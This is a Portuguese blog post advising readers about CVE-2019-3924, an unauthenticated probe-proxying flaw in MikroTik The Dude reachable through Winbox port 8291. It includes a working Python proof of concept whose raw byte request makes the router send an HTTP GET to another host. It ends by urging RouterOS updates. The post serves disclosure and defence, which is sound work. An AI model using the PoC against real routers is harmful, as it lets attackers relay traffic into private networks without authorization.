sexta-feira, 22 de fevereiro de 2019

CVE-2019-3924 - VULNERABILIDADE NO MIKROTIK THE DUDE

No dia 21 de Fevereiro de 2019, por meio do Tenable, foi publicado o CVE-2019-3924 que detalha uma vulnerabilidade, de nível intermediário, no recurso The Dude da Mikrotik. 

O The Dude da MikroTik tem um recurso de descoberta de rede que envia sondagens (probe) definidas pelo usuário para descobrir serviços de rede. Existem várias sondas pré-definidas para HTTP, FTP, Telnet, etc.


Network Maps

Esse recurso permite uma "varredura recursiva" na rede, na qual as sondagens podem ser intermediados por proxy através da porta Winbox do MikroTik (8291). Descobriu-se que a autenticação não era aplicada nessas solicitações de sondagem com proxy. Portanto, um invasor remoto não autenticado pode usar um roteador MikroTik para proxy de tráfego arbitrário. Além disso, os invasores oriundos da internet podem usar esse recurso para enviar solicitações aos hosts conectados a uma rede local.

Existem algumas limitações para a funcionalidade de sondagem do MikroTik. Uma sondagem suporta apenas até três solicitações e respostas. Além disso, a resposta não é retransmitida para o cliente solicitante. Em vez disso, a resposta é comparada com uma expressão regular definida no formato do probe.




Abaixo segue um PoC (Proof of Concept) no envio de uma requisição HTTP GET, a partir de um IP público:


import argparse
import socket

if __name__ == '__main__':

    cmd_parser = argparse.ArgumentParser(description="PoC")
    cmd_parser.add_argument("-i", "--ip", action="store", dest="ip", required=True, help="Router IP")
    cmd_parser.add_argument("-p", "--port", action="store", dest="port", type=int, help="Winbox Port", default="8291")
    cmd_parser.add_argument("-n", "--name", action="store", dest="name", help="The new hostname")
    args = cmd_parser.parse_args()

    # Connect to Mikrotik router
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
    sock.connect((args.ip, args.port))
    print "[+] Connected!"

    request = ('\x9e\x01\x00\x9c\x4d\x32\x05\x00\xff\x01\x03\x00\x00\x08\x42\xfc\x7b\x5a\x04'
               '\x00\x00\x09\x50\x06\x00\xff\x09\x01\x07\x00\xff\x09\x01\x07\x00\x00\x21\x46'
               'GET / HTTP/1.1\r\nHost: 66.252.123.90\r\nUser-Agent: Oops\r\nAccept: */*\r\n'
               '\r\n\x08\x00\x00\x21\x25^HTTP/1.1 200 Ok\r\nServer: micro_httpd\x01\x00\xff'
               '\x88\x01\x00\x68\x00\x00\x00')

sock.sendall(request)
resp = sock.recv(1024)
print '<- ' + resp
sock.close()

Dessa forma é importante manter sua RouterOS atualizada tendo em vista que a falha afeta as versões anteriores a RouterOS 6.43.12 (stable) and 6.42.12 (long-term).


----------------
Referências

Blog Mikrotik Security
NIST

Um comentário: